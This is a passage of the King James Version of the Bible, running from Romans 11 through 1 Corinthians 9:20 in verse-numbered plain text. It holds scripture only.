unbelief, shall be +graffed in: for God is able to graff them in again. + +11:24 For if thou wert cut out of the olive tree which is wild by +nature, and wert graffed contrary to nature into a good olive tree: +how much more shall these, which be the natural branches, be graffed +into their own olive tree? 11:25 For I would not, brethren, that ye +should be ignorant of this mystery, lest ye should be wise in your own +conceits; that blindness in part is happened to Israel, until the +fulness of the Gentiles be come in. + +11:26 And so all Israel shall be saved: as it is written, There shall +come out of Sion the Deliverer, and shall turn away ungodliness from +Jacob: 11:27 For this is my covenant unto them, when I shall take away +their sins. + +11:28 As concerning the gospel, they are enemies for your sakes: but +as touching the election, they are beloved for the father's sakes. + +11:29 For the gifts and calling of God are without repentance. + +11:30 For as ye in times past have not believed God, yet have now +obtained mercy through their unbelief: 11:31 Even so have these also +now not believed, that through your mercy they also may obtain mercy. + +11:32 For God hath concluded them all in unbelief, that he might have +mercy upon all. + +11:33 O the depth of the riches both of the wisdom and knowledge of +God! how unsearchable are his judgments, and his ways past finding +out! 11:34 For who hath known the mind of the Lord? or who hath been +his counsellor? 11:35 Or who hath first given to him, and it shall be +recompensed unto him again? 11:36 For of him, and through him, and to +him, are all things: to whom be glory for ever. Amen. + +12:1 I beseech you therefore, brethren, by the mercies of God, that ye +present your bodies a living sacrifice, holy, acceptable unto God, +which is your reasonable service. + +12:2 And be not conformed to this world: but be ye transformed by the +renewing of your mind, that ye may prove what is that good, and +acceptable, and perfect, will of God. + +12:3 For I say, through the grace given unto me, to every man that is +among you, not to think of himself more highly than he ought to think; +but to think soberly, according as God hath dealt to every man the +measure of faith. + +12:4 For as we have many members in one body, and all members have not +the same office: 12:5 So we, being many, are one body in Christ, and +every one members one of another. + +12:6 Having then gifts differing according to the grace that is given +to us, whether prophecy, let us prophesy according to the proportion +of faith; 12:7 Or ministry, let us wait on our ministering: or he that +teacheth, on teaching; 12:8 Or he that exhorteth, on exhortation: he +that giveth, let him do it with simplicity; he that ruleth, with +diligence; he that sheweth mercy, with cheerfulness. + +12:9 Let love be without dissimulation. Abhor that which is evil; +cleave to that which is good. + +12:10 Be kindly affectioned one to another with brotherly love; in +honour preferring one another; 12:11 Not slothful in business; fervent +in spirit; serving the Lord; 12:12 Rejoicing in hope; patient in +tribulation; continuing instant in prayer; 12:13 Distributing to the +necessity of saints; given to hospitality. + +12:14 Bless them which persecute you: bless, and curse not. + +12:15 Rejoice with them that do rejoice, and weep with them that weep. + +12:16 Be of the same mind one toward another. Mind not high things, +but condescend to men of low estate. Be not wise in your own conceits. + +12:17 Recompense to no man evil for evil. Provide things honest in the +sight of all men. + +12:18 If it be possible, as much as lieth in you, live peaceably with +all men. + +12:19 Dearly beloved, avenge not yourselves, but rather give place +unto wrath: for it is written, Vengeance is mine; I will repay, saith +the Lord. + +12:20 Therefore if thine enemy hunger, feed him; if he thirst, give +him drink: for in so doing thou shalt heap coals of fire on his head. + +12:21 Be not overcome of evil, but overcome evil with good. + +13:1 Let every soul be subject unto the higher powers. For there is no +power but of God: the powers that be are ordained of God. + +13:2 Whosoever therefore resisteth the power, resisteth the ordinance +of God: and they that resist shall receive to themselves damnation. + +13:3 For rulers are not a terror to good works, but to the evil. Wilt +thou then not be afraid of the power? do that which is good, and thou +shalt have praise of the same: 13:4 For he is the minister of God to +thee for good. But if thou do that which is evil, be afraid; for he +beareth not the sword in vain: for he is the minister of God, a +revenger to execute wrath upon him that doeth evil. + +13:5 Wherefore ye must needs be subject, not only for wrath, but also +for conscience sake. + +13:6 For for this cause pay ye tribute also: for they are God's +ministers, attending continually upon this very thing. + +13:7 Render therefore to all their dues: tribute to whom tribute is +due; custom to whom custom; fear to whom fear; honour to whom honour. + +13:8 Owe no man any thing, but to love one another: for he that loveth +another hath fulfilled the law. + +13:9 For this, Thou shalt not commit adultery, Thou shalt not kill, +Thou shalt not steal, Thou shalt not bear false witness, Thou shalt +not covet; and if there be any other commandment, it is briefly +comprehended in this saying, namely, Thou shalt love thy neighbour as +thyself. + +13:10 Love worketh no ill to his neighbour: therefore love is the +fulfilling of the law. + +13:11 And that, knowing the time, that now it is high time to awake +out of sleep: for now is our salvation nearer than when we believed. + +13:12 The night is far spent, the day is at hand: let us therefore +cast off the works of darkness, and let us put on the armour of light. + +13:13 Let us walk honestly, as in the day; not in rioting and +drunkenness, not in chambering and wantonness, not in strife and +envying. + +13:14 But put ye on the Lord Jesus Christ, and make not provision for +the flesh, to fulfil the lusts thereof. + +14:1 Him that is weak in the faith receive ye, but not to doubtful +disputations. + +14:2 For one believeth that he may eat all things: another, who is +weak, eateth herbs. + +14:3 Let not him that eateth despise him that eateth not; and let not +him which eateth not judge him that eateth: for God hath received him. + +14:4 Who art thou that judgest another man's servant? to his own +master he standeth or falleth. Yea, he shall be holden up: for God is +able to make him stand. + +14:5 One man esteemeth one day above another: another esteemeth every +day alike. Let every man be fully persuaded in his own mind. + +14:6 He that regardeth the day, regardeth it unto the Lord; and he +that regardeth not the day, to the Lord he doth not regard it. He that +eateth, eateth to the Lord, for he giveth God thanks; and he that +eateth not, to the Lord he eateth not, and giveth God thanks. + +14:7 For none of us liveth to himself, and no man dieth to himself. + +14:8 For whether we live, we live unto the Lord; and whether we die, +we die unto the Lord: whether we live therefore, or die, we are the +Lord's. + +14:9 For to this end Christ both died, and rose, and revived, that he +might be Lord both of the dead and living. + +14:10 But why dost thou judge thy brother? or why dost thou set at +nought thy brother? for we shall all stand before the judgment seat of +Christ. + +14:11 For it is written, As I live, saith the Lord, every knee shall +bow to me, and every tongue shall confess to God. + +14:12 So then every one of us shall give account of himself to God. + +14:13 Let us not therefore judge one another any more: but judge this +rather, that no man put a stumblingblock or an occasion to fall in his +brother's way. + +14:14 I know, and am persuaded by the Lord Jesus, that there is +nothing unclean of itself: but to him that esteemeth any thing to be +unclean, to him it is unclean. + +14:15 But if thy brother be grieved with thy meat, now walkest thou +not charitably. Destroy not him with thy meat, for whom Christ died. + +14:16 Let not then your good be evil spoken of: 14:17 For the kingdom +of God is not meat and drink; but righteousness, and peace, and joy in +the Holy Ghost. + +14:18 For he that in these things serveth Christ is acceptable to God, +and approved of men. + +14:19 Let us therefore follow after the things which make for peace, +and things wherewith one may edify another. + +14:20 For meat destroy not the work of God. All things indeed are +pure; but it is evil for that man who eateth with offence. + +14:21 It is good neither to eat flesh, nor to drink wine, nor any +thing whereby thy brother stumbleth, or is offended, or is made weak. + +14:22 Hast thou faith? have it to thyself before God. Happy is he that +condemneth not himself in that thing which he alloweth. + +14:23 And he that doubteth is damned if he eat, because he eateth not +of faith: for whatsoever is not of faith is sin. + +15:1 We then that are strong ought to bear the infirmities of the +weak, and not to please ourselves. + +15:2 Let every one of us please his neighbour for his good to +edification. + +15:3 For even Christ pleased not himself; but, as it is written, The +reproaches of them that reproached thee fell on me. + +15:4 For whatsoever things were written aforetime were written for our +learning, that we through patience and comfort of the scriptures might +have hope. + +15:5 Now the God of patience and consolation grant you to be +likeminded one toward another according to Christ Jesus: 15:6 That ye +may with one mind and one mouth glorify God, even the Father of our +Lord Jesus Christ. + +15:7 Wherefore receive ye one another, as Christ also received us to +the glory of God. + +15:8 Now I say that Jesus Christ was a minister of the circumcision +for the truth of God, to confirm the promises made unto the fathers: +15:9 And that the Gentiles might glorify God for his mercy; as it is +written, For this cause I will confess to thee among the Gentiles, and +sing unto thy name. + +15:10 And again he saith, Rejoice, ye Gentiles, with his people. + +15:11 And again, Praise the Lord, all ye Gentiles; and laud him, all +ye people. + +15:12 And again, Esaias saith, There shall be a root of Jesse, and he +that shall rise to reign over the Gentiles; in him shall the Gentiles +trust. + +15:13 Now the God of hope fill you with all joy and peace in +believing, that ye may abound in hope, through the power of the Holy +Ghost. + +15:14 And I myself also am persuaded of you, my brethren, that ye also +are full of goodness, filled with all knowledge, able also to admonish +one another. + +15:15 Nevertheless, brethren, I have written the more boldly unto you +in some sort, as putting you in mind, because of the grace that is +given to me of God, 15:16 That I should be the minister of Jesus +Christ to the Gentiles, ministering the gospel of God, that the +offering up of the Gentiles might be acceptable, being sanctified by +the Holy Ghost. + +15:17 I have therefore whereof I may glory through Jesus Christ in +those things which pertain to God. + +15:18 For I will not dare to speak of any of those things which Christ +hath not wrought by me, to make the Gentiles obedient, by word and +deed, 15:19 Through mighty signs and wonders, by the power of the +Spirit of God; so that from Jerusalem, and round about unto Illyricum, +I have fully preached the gospel of Christ. + +15:20 Yea, so have I strived to preach the gospel, not where Christ +was named, lest I should build upon another man's foundation: 15:21 +But as it is written, To whom he was not spoken of, they shall see: +and they that have not heard shall understand. + +15:22 For which cause also I have been much hindered from coming to +you. + +15:23 But now having no more place in these parts, and having a great +desire these many years to come unto you; 15:24 Whensoever I take my +journey into Spain, I will come to you: for I trust to see you in my +journey, and to be brought on my way thitherward by you, if first I be +somewhat filled with your company. + +15:25 But now I go unto Jerusalem to minister unto the saints. + +15:26 For it hath pleased them of Macedonia and Achaia to make a +certain contribution for the poor saints which are at Jerusalem. + +15:27 It hath pleased them verily; and their debtors they are. For if +the Gentiles have been made partakers of their spiritual things, their +duty is also to minister unto them in carnal things. + +15:28 When therefore I have performed this, and have sealed to them +this fruit, I will come by you into Spain. + +15:29 And I am sure that, when I come unto you, I shall come in the +fulness of the blessing of the gospel of Christ. + +15:30 Now I beseech you, brethren, for the Lord Jesus Christ's sake, +and for the love of the Spirit, that ye strive together with me in +your prayers to God for me; 15:31 That I may be delivered from them +that do not believe in Judaea; and that my service which I have for +Jerusalem may be accepted of the saints; 15:32 That I may come unto +you with joy by the will of God, and may with you be refreshed. + +15:33 Now the God of peace be with you all. Amen. + +16:1 I commend unto you Phebe our sister, which is a servant of the +church which is at Cenchrea: 16:2 That ye receive her in the Lord, as +becometh saints, and that ye assist her in whatsoever business she +hath need of you: for she hath been a succourer of many, and of myself +also. + +16:3 Greet Priscilla and Aquila my helpers in Christ Jesus: 16:4 Who +have for my life laid down their own necks: unto whom not only I give +thanks, but also all the churches of the Gentiles. + +16:5 Likewise greet the church that is in their house. Salute my +well-beloved Epaenetus, who is the firstfruits of Achaia unto Christ. + +16:6 Greet Mary, who bestowed much labour on us. + +16:7 Salute Andronicus and Junia, my kinsmen, and my fellow-prisoners, +who are of note among the apostles, who also were in Christ before me. + +16:8 Greet Amplias my beloved in the Lord. + +16:9 Salute Urbane, our helper in Christ, and Stachys my beloved. + +16:10 Salute Apelles approved in Christ. Salute them which are of +Aristobulus' household. + +16:11 Salute Herodion my kinsman. Greet them that be of the household +of Narcissus, which are in the Lord. + +16:12 Salute Tryphena and Tryphosa, who labour in the Lord. Salute the +beloved Persis, which laboured much in the Lord. + +16:13 Salute Rufus chosen in the Lord, and his mother and mine. + +16:14 Salute Asyncritus, Phlegon, Hermas, Patrobas, Hermes, and the +brethren which are with them. + +16:15 Salute Philologus, and Julia, Nereus, and his sister, and +Olympas, and all the saints which are with them. + +16:16 Salute one another with an holy kiss. The churches of Christ +salute you. + +16:17 Now I beseech you, brethren, mark them which cause divisions and +offences contrary to the doctrine which ye have learned; and avoid +them. + +16:18 For they that are such serve not our Lord Jesus Christ, but +their own belly; and by good words and fair speeches deceive the +hearts of the simple. + +16:19 For your obedience is come abroad unto all men. I am glad +therefore on your behalf: but yet I would have you wise unto that +which is good, and simple concerning evil. + +16:20 And the God of peace shall bruise Satan under your feet shortly. +The grace of our Lord Jesus Christ be with you. Amen. + +16:21 Timotheus my workfellow, and Lucius, and Jason, and Sosipater, +my kinsmen, salute you. + +16:22 I Tertius, who wrote this epistle, salute you in the Lord. + +16:23 Gaius mine host, and of the whole church, saluteth you. Erastus +the chamberlain of the city saluteth you, and Quartus a brother. + +16:24 The grace of our Lord Jesus Christ be with you all. Amen. + +16:25 Now to him that is of power to stablish you according to my +gospel, and the preaching of Jesus Christ, according to the revelation +of the mystery, which was kept secret since the world began, 16:26 But +now is made manifest, and by the scriptures of the prophets, according +to the commandment of the everlasting God, made known to all nations +for the obedience of faith: 16:27 To God only wise, be glory through +Jesus Christ for ever. Amen. + + + +The First Epistle of Paul the Apostle to the Corinthians + + +1:1 Paul called to be an apostle of Jesus Christ through the will of +God, and Sosthenes our brother, 1:2 Unto the church of God which is at +Corinth, to them that are sanctified in Christ Jesus, called to be +saints, with all that in every place call upon the name of Jesus +Christ our Lord, both their's and our's: 1:3 Grace be unto you, and +peace, from God our Father, and from the Lord Jesus Christ. + +1:4 I thank my God always on your behalf, for the grace of God which +is given you by Jesus Christ; 1:5 That in every thing ye are enriched +by him, in all utterance, and in all knowledge; 1:6 Even as the +testimony of Christ was confirmed in you: 1:7 So that ye come behind +in no gift; waiting for the coming of our Lord Jesus Christ: 1:8 Who +shall also confirm you unto the end, that ye may be blameless in the +day of our Lord Jesus Christ. + +1:9 God is faithful, by whom ye were called unto the fellowship of his +Son Jesus Christ our Lord. + +1:10 Now I beseech you, brethren, by the name of our Lord Jesus +Christ, that ye all speak the same thing, and that there be no +divisions among you; but that ye be perfectly joined together in the +same mind and in the same judgment. + +1:11 For it hath been declared unto me of you, my brethren, by them +which are of the house of Chloe, that there are contentions among you. + +1:12 Now this I say, that every one of you saith, I am of Paul; and I +of Apollos; and I of Cephas; and I of Christ. + +1:13 Is Christ divided? was Paul crucified for you? or were ye +baptized in the name of Paul? 1:14 I thank God that I baptized none +of you, but Crispus and Gaius; 1:15 Lest any should say that I had +baptized in mine own name. + +1:16 And I baptized also the household of Stephanas: besides, I know +not whether I baptized any other. + +1:17 For Christ sent me not to baptize, but to preach the gospel: not +with wisdom of words, lest the cross of Christ should be made of none +effect. + +1:18 For the preaching of the cross is to them that perish +foolishness; but unto us which are saved it is the power of God. + +1:19 For it is written, I will destroy the wisdom of the wise, and +will bring to nothing the understanding of the prudent. + +1:20 Where is the wise? where is the scribe? where is the disputer of +this world? hath not God made foolish the wisdom of this world? 1:21 +For after that in the wisdom of God the world by wisdom knew not God, +it pleased God by the foolishness of preaching to save them that +believe. + +1:22 For the Jews require a sign, and the Greeks seek after wisdom: +1:23 But we preach Christ crucified, unto the Jews a stumblingblock, +and unto the Greeks foolishness; 1:24 But unto them which are called, +both Jews and Greeks, Christ the power of God, and the wisdom of God. + +1:25 Because the foolishness of God is wiser than men; and the +weakness of God is stronger than men. + +1:26 For ye see your calling, brethren, how that not many wise men +after the flesh, not many mighty, not many noble, are called: 1:27 But +God hath chosen the foolish things of the world to confound the wise; +and God hath chosen the weak things of the world to confound the +things which are mighty; 1:28 And base things of the world, and things +which are despised, hath God chosen, yea, and things which are not, to +bring to nought things that are: 1:29 That no flesh should glory in +his presence. + +1:30 But of him are ye in Christ Jesus, who of God is made unto us +wisdom, and righteousness, and sanctification, and redemption: 1:31 +That, according as it is written, He that glorieth, let him glory in +the Lord. + +2:1 And I, brethren, when I came to you, came not with excellency of +speech or of wisdom, declaring unto you the testimony of God. + +2:2 For I determined not to know any thing among you, save Jesus +Christ, and him crucified. + +2:3 And I was with you in weakness, and in fear, and in much +trembling. + +2:4 And my speech and my preaching was not with enticing words of +man's wisdom, but in demonstration of the Spirit and of power: 2:5 +That your faith should not stand in the wisdom of men, but in the +power of God. + +2:6 Howbeit we speak wisdom among them that are perfect: yet not the +wisdom of this world, nor of the princes of this world, that come to +nought: 2:7 But we speak the wisdom of God in a mystery, even the +hidden wisdom, which God ordained before the world unto our glory: 2:8 +Which none of the princes of this world knew: for had they known it, +they would not have crucified the Lord of glory. + +2:9 But as it is written, Eye hath not seen, nor ear heard, neither +have entered into the heart of man, the things which God hath prepared +for them that love him. + +2:10 But God hath revealed them unto us by his Spirit: for the Spirit +searcheth all things, yea, the deep things of God. + +2:11 For what man knoweth the things of a man, save the spirit of man +which is in him? even so the things of God knoweth no man, but the +Spirit of God. + +2:12 Now we have received, not the spirit of the world, but the spirit +which is of God; that we might know the things that are freely given +to us of God. + +2:13 Which things also we speak, not in the words which man's wisdom +teacheth, but which the Holy Ghost teacheth; comparing spiritual +things with spiritual. + +2:14 But the natural man receiveth not the things of the Spirit of +God: for they are foolishness unto him: neither can he know them, +because they are spiritually discerned. + +2:15 But he that is spiritual judgeth all things, yet he himself is +judged of no man. + +2:16 For who hath known the mind of the Lord, that he may instruct +him? But we have the mind of Christ. + +3:1 And I, brethren, could not speak unto you as unto spiritual, but +as unto carnal, even as unto babes in Christ. + +3:2 I have fed you with milk, and not with meat: for hitherto ye were +not able to bear it, neither yet now are ye able. + +3:3 For ye are yet carnal: for whereas there is among you envying, and +strife, and divisions, are ye not carnal, and walk as men? 3:4 For +while one saith, I am of Paul; and another, I am of Apollos; are ye +not carnal? 3:5 Who then is Paul, and who is Apollos, but ministers +by whom ye believed, even as the Lord gave to every man? 3:6 I have +planted, Apollos watered; but God gave the increase. + +3:7 So then neither is he that planteth any thing, neither he that +watereth; but God that giveth the increase. + +3:8 Now he that planteth and he that watereth are one: and every man +shall receive his own reward according to his own labour. + +3:9 For we are labourers together with God: ye are God's husbandry, ye +are God's building. + +3:10 According to the grace of God which is given unto me, as a wise +masterbuilder, I have laid the foundation, and another buildeth +thereon. But let every man take heed how he buildeth thereupon. + +3:11 For other foundation can no man lay than that is laid, which is +Jesus Christ. + +3:12 Now if any man build upon this foundation gold, silver, precious +stones, wood, hay, stubble; 3:13 Every man's work shall be made +manifest: for the day shall declare it, because it shall be revealed +by fire; and the fire shall try every man's work of what sort it is. + +3:14 If any man's work abide which he hath built thereupon, he shall +receive a reward. + +3:15 If any man's work shall be burned, he shall suffer loss: but he +himself shall be saved; yet so as by fire. + +3:16 Know ye not that ye are the temple of God, and that the Spirit of +God dwelleth in you? 3:17 If any man defile the temple of God, him +shall God destroy; for the temple of God is holy, which temple ye are. + +3:18 Let no man deceive himself. If any man among you seemeth to be +wise in this world, let him become a fool, that he may be wise. + +3:19 For the wisdom of this world is foolishness with God. For it is +written, He taketh the wise in their own craftiness. + +3:20 And again, The Lord knoweth the thoughts of the wise, that they +are vain. + +3:21 Therefore let no man glory in men. For all things are your's; +3:22 Whether Paul, or Apollos, or Cephas, or the world, or life, or +death, or things present, or things to come; all are your's; 3:23 And +ye are Christ's; and Christ is God's. + +4:1 Let a man so account of us, as of the ministers of Christ, and +stewards of the mysteries of God. + +4:2 Moreover it is required in stewards, that a man be found faithful. + +4:3 But with me it is a very small thing that I should be judged of +you, or of man's judgment: yea, I judge not mine own self. + +4:4 For I know nothing by myself; yet am I not hereby justified: but +he that judgeth me is the Lord. + +4:5 Therefore judge nothing before the time, until the Lord come, who +both will bring to light the hidden things of darkness, and will make +manifest the counsels of the hearts: and then shall every man have +praise of God. + +4:6 And these things, brethren, I have in a figure transferred to +myself and to Apollos for your sakes; that ye might learn in us not to +think of men above that which is written, that no one of you be puffed +up for one against another. + +4:7 For who maketh thee to differ from another? and what hast thou +that thou didst not receive? now if thou didst receive it, why dost +thou glory, as if thou hadst not received it? 4:8 Now ye are full, +now ye are rich, ye have reigned as kings without us: and I would to +God ye did reign, that we also might reign with you. + +4:9 For I think that God hath set forth us the apostles last, as it +were appointed to death: for we are made a spectacle unto the world, +and to angels, and to men. + +4:10 We are fools for Christ's sake, but ye are wise in Christ; we are +weak, but ye are strong; ye are honourable, but we are despised. + +4:11 Even unto this present hour we both hunger, and thirst, and are +naked, and are buffeted, and have no certain dwellingplace; 4:12 And +labour, working with our own hands: being reviled, we bless; being +persecuted, we suffer it: 4:13 Being defamed, we intreat: we are made +as the filth of the world, and are the offscouring of all things unto +this day. + +4:14 I write not these things to shame you, but as my beloved sons I +warn you. + +4:15 For though ye have ten thousand instructers in Christ, yet have +ye not many fathers: for in Christ Jesus I have begotten you through +the gospel. + +4:16 Wherefore I beseech you, be ye followers of me. + +4:17 For this cause have I sent unto you Timotheus, who is my beloved +son, and faithful in the Lord, who shall bring you into remembrance of +my ways which be in Christ, as I teach every where in every church. + +4:18 Now some are puffed up, as though I would not come to you. + +4:19 But I will come to you shortly, if the Lord will, and will know, +not the speech of them which are puffed up, but the power. + +4:20 For the kingdom of God is not in word, but in power. + +4:21 What will ye? shall I come unto you with a rod, or in love, and +in the spirit of meekness? 5:1 It is reported commonly that there is +fornication among you, and such fornication as is not so much as named +among the Gentiles, that one should have his father's wife. + +5:2 And ye are puffed up, and have not rather mourned, that he that +hath done this deed might be taken away from among you. + +5:3 For I verily, as absent in body, but present in spirit, have +judged already, as though I were present, concerning him that hath so +done this deed, 5:4 In the name of our Lord Jesus Christ, when ye are +gathered together, and my spirit, with the power of our Lord Jesus +Christ, 5:5 To deliver such an one unto Satan for the destruction of +the flesh, that the spirit may be saved in the day of the Lord Jesus. + +5:6 Your glorying is not good. Know ye not that a little leaven +leaveneth the whole lump? 5:7 Purge out therefore the old leaven, +that ye may be a new lump, as ye are unleavened. For even Christ our +passover is sacrificed for us: 5:8 Therefore let us keep the feast, +not with old leaven, neither with the leaven of malice and wickedness; +but with the unleavened bread of sincerity and truth. + +5:9 I wrote unto you in an epistle not to company with fornicators: +5:10 Yet not altogether with the fornicators of this world, or with +the covetous, or extortioners, or with idolaters; for then must ye +needs go out of the world. + +5:11 But now I have written unto you not to keep company, if any man +that is called a brother be a fornicator, or covetous, or an idolater, +or a railer, or a drunkard, or an extortioner; with such an one no not +to eat. + +5:12 For what have I to do to judge them also that are without? do not +ye judge them that are within? 5:13 But them that are without God +judgeth. Therefore put away from among yourselves that wicked person. + +6:1 Dare any of you, having a matter against another, go to law before +the unjust, and not before the saints? 6:2 Do ye not know that the +saints shall judge the world? and if the world shall be judged by you, +are ye unworthy to judge the smallest matters? 6:3 Know ye not that +we shall judge angels? how much more things that pertain to this life? +6:4 If then ye have judgments of things pertaining to this life, set +them to judge who are least esteemed in the church. + +6:5 I speak to your shame. Is it so, that there is not a wise man +among you? no, not one that shall be able to judge between his +brethren? 6:6 But brother goeth to law with brother, and that before +the unbelievers. + +6:7 Now therefore there is utterly a fault among you, because ye go to +law one with another. Why do ye not rather take wrong? why do ye not +rather suffer yourselves to be defrauded? 6:8 Nay, ye do wrong, and +defraud, and that your brethren. + +6:9 Know ye not that the unrighteous shall not inherit the kingdom of +God? Be not deceived: neither fornicators, nor idolaters, nor +adulterers, nor effeminate, nor abusers of themselves with mankind, +6:10 Nor thieves, nor covetous, nor drunkards, nor revilers, nor +extortioners, shall inherit the kingdom of God. + +6:11 And such were some of you: but ye are washed, but ye are +sanctified, but ye are justified in the name of the Lord Jesus, and by +the Spirit of our God. + +6:12 All things are lawful unto me, but all things are not expedient: +all things are lawful for me, but I will not be brought under the +power of any. + +6:13 Meats for the belly, and the belly for meats: but God shall +destroy both it and them. Now the body is not for fornication, but for +the Lord; and the Lord for the body. + +6:14 And God hath both raised up the Lord, and will also raise up us +by his own power. + +6:15 Know ye not that your bodies are the members of Christ? shall I +then take the members of Christ, and make them the members of an +harlot? God forbid. + +6:16 What? know ye not that he which is joined to an harlot is one +body? for two, saith he, shall be one flesh. + +6:17 But he that is joined unto the Lord is one spirit. + +6:18 Flee fornication. Every sin that a man doeth is without the body; +but he that committeth fornication sinneth against his own body. + +6:19 What? know ye not that your body is the temple of the Holy Ghost +which is in you, which ye have of God, and ye are not your own? 6:20 +For ye are bought with a price: therefore glorify God in your body, +and in your spirit, which are God's. + +7:1 Now concerning the things whereof ye wrote unto me: It is good for +a man not to touch a woman. + +7:2 Nevertheless, to avoid fornication, let every man have his own +wife, and let every woman have her own husband. + +7:3 Let the husband render unto the wife due benevolence: and likewise +also the wife unto the husband. + +7:4 The wife hath not power of her own body, but the husband: and +likewise also the husband hath not power of his own body, but the +wife. + +7:5 Defraud ye not one the other, except it be with consent for a +time, that ye may give yourselves to fasting and prayer; and come +together again, that Satan tempt you not for your incontinency. + +7:6 But I speak this by permission, and not of commandment. + +7:7 For I would that all men were even as I myself. But every man hath +his proper gift of God, one after this manner, and another after that. + +7:8 I say therefore to the unmarried and widows, It is good for them +if they abide even as I. + +7:9 But if they cannot contain, let them marry: for it is better to +marry than to burn. + +7:10 And unto the married I command, yet not I, but the Lord, Let not +the wife depart from her husband: 7:11 But and if she depart, let her +remain unmarried or be reconciled to her husband: and let not the +husband put away his wife. + +7:12 But to the rest speak I, not the Lord: If any brother hath a wife +that believeth not, and she be pleased to dwell with him, let him not +put her away. + +7:13 And the woman which hath an husband that believeth not, and if he +be pleased to dwell with her, let her not leave him. + +7:14 For the unbelieving husband is sanctified by the wife, and the +unbelieving wife is sanctified by the husband: else were your children +unclean; but now are they holy. + +7:15 But if the unbelieving depart, let him depart. A brother or a +sister is not under bondage in such cases: but God hath called us to +peace. + +7:16 For what knowest thou, O wife, whether thou shalt save thy +husband? or how knowest thou, O man, whether thou shalt save thy +wife? 7:17 But as God hath distributed to every man, as the Lord hath +called every one, so let him walk. And so ordain I in all churches. + +7:18 Is any man called being circumcised? let him not become +uncircumcised. Is any called in uncircumcision? let him not be +circumcised. + +7:19 Circumcision is nothing, and uncircumcision is nothing, but the +keeping of the commandments of God. + +7:20 Let every man abide in the same calling wherein he was called. + +7:21 Art thou called being a servant? care not for it: but if thou +mayest be made free, use it rather. + +7:22 For he that is called in the Lord, being a servant, is the Lord's +freeman: likewise also he that is called, being free, is Christ's +servant. + +7:23 Ye are bought with a price; be not ye the servants of men. + +7:24 Brethren, let every man, wherein he is called, therein abide with +God. + +7:25 Now concerning virgins I have no commandment of the Lord: yet I +give my judgment, as one that hath obtained mercy of the Lord to be +faithful. + +7:26 I suppose therefore that this is good for the present distress, I +say, that it is good for a man so to be. + +7:27 Art thou bound unto a wife? seek not to be loosed. Art thou +loosed from a wife? seek not a wife. + +7:28 But and if thou marry, thou hast not sinned; and if a virgin +marry, she hath not sinned. Nevertheless such shall have trouble in +the flesh: but I spare you. + +7:29 But this I say, brethren, the time is short: it remaineth, that +both they that have wives be as though they had none; 7:30 And they +that weep, as though they wept not; and they that rejoice, as though +they rejoiced not; and they that buy, as though they possessed not; +7:31 And they that use this world, as not abusing it: for the fashion +of this world passeth away. + +7:32 But I would have you without carefulness. He that is unmarried +careth for the things that belong to the Lord, how he may please the +Lord: 7:33 But he that is married careth for the things that are of +the world, how he may please his wife. + +7:34 There is difference also between a wife and a virgin. The +unmarried woman careth for the things of the Lord, that she may be +holy both in body and in spirit: but she that is married careth for +the things of the world, how she may please her husband. + +7:35 And this I speak for your own profit; not that I may cast a snare +upon you, but for that which is comely, and that ye may attend upon +the Lord without distraction. + +7:36 But if any man think that he behaveth himself uncomely toward his +virgin, if she pass the flower of her age, and need so require, let +him do what he will, he sinneth not: let them marry. + +7:37 Nevertheless he that standeth stedfast in his heart, having no +necessity, but hath power over his own will, and hath so decreed in +his heart that he will keep his virgin, doeth well. + +7:38 So then he that giveth her in marriage doeth well; but he that +giveth her not in marriage doeth better. + +7:39 The wife is bound by the law as long as her husband liveth; but +if her husband be dead, she is at liberty to be married to whom she +will; only in the Lord. + +7:40 But she is happier if she so abide, after my judgment: and I +think also that I have the Spirit of God. + +8:1 Now as touching things offered unto idols, we know that we all +have knowledge. Knowledge puffeth up, but charity edifieth. + +8:2 And if any man think that he knoweth any thing, he knoweth nothing +yet as he ought to know. + +8:3 But if any man love God, the same is known of him. + +8:4 As concerning therefore the eating of those things that are +offered in sacrifice unto idols, we know that an idol is nothing in +the world, and that there is none other God but one. + +8:5 For though there be that are called gods, whether in heaven or in +earth, (as there be gods many, and lords many,) 8:6 But to us there is +but one God, the Father, of whom are all things, and we in him; and +one Lord Jesus Christ, by whom are all things, and we by him. + +8:7 Howbeit there is not in every man that knowledge: for some with +conscience of the idol unto this hour eat it as a thing offered unto +an idol; and their conscience being weak is defiled. + +8:8 But meat commendeth us not to God: for neither, if we eat, are we +the better; neither, if we eat not, are we the worse. + +8:9 But take heed lest by any means this liberty of your's become a +stumblingblock to them that are weak. + +8:10 For if any man see thee which hast knowledge sit at meat in the +idol's temple, shall not the conscience of him which is weak be +emboldened to eat those things which are offered to idols; 8:11 And +through thy knowledge shall the weak brother perish, for whom Christ +died? 8:12 But when ye sin so against the brethren, and wound their +weak conscience, ye sin against Christ. + +8:13 Wherefore, if meat make my brother to offend, I will eat no flesh +while the world standeth, lest I make my brother to offend. + +9:1 Am I not an apostle? am I not free? have I not seen Jesus Christ +our Lord? are not ye my work in the Lord? 9:2 If I be not an apostle +unto others, yet doubtless I am to you: for the seal of mine +apostleship are ye in the Lord. + +9:3 Mine answer to them that do examine me is this, 9:4 Have we not +power to eat and to drink? 9:5 Have we not power to lead about a +sister, a wife, as well as other apostles, and as the brethren of the +Lord, and Cephas? 9:6 Or I only and Barnabas, have not we power to +forbear working? 9:7 Who goeth a warfare any time at his own charges? +who planteth a vineyard, and eateth not of the fruit thereof? or who +feedeth a flock, and eateth not of the milk of the flock? 9:8 Say I +these things as a man? or saith not the law the same also? 9:9 For it +is written in the law of Moses, Thou shalt not muzzle the mouth of the +ox that treadeth out the corn. Doth God take care for oxen? 9:10 Or +saith he it altogether for our sakes? For our sakes, no doubt, this is +written: that he that ploweth should plow in hope; and that he that +thresheth in hope should be partaker of his hope. + +9:11 If we have sown unto you spiritual things, is it a great thing if +we shall reap your carnal things? 9:12 If others be partakers of this +power over you, are not we rather? Nevertheless we have not used this +power; but suffer all things, lest we should hinder the gospel of +Christ. + +9:13 Do ye not know that they which minister about holy things live of +the things of the temple? and they which wait at the altar are +partakers with the altar? 9:14 Even so hath the Lord ordained that +they which preach the gospel should live of the gospel. + +9:15 But I have used none of these things: neither have I written +these things, that it should be so done unto me: for it were better +for me to die, than that any man should make my glorying void. + +9:16 For though I preach the gospel, I have nothing to glory of: for +necessity is laid upon me; yea, woe is unto me, if I preach not the +gospel! 9:17 For if I do this thing willingly, I have a reward: but +if against my will, a dispensation of the gospel is committed unto me. + +9:18 What is my reward then? Verily that, when I preach the gospel, I +may make the gospel of Christ without charge, that I abuse not my +power in the gospel. + +9:19 For though I be free from all men, yet have I made myself servant +unto all, that I might gain the more. + +9:20 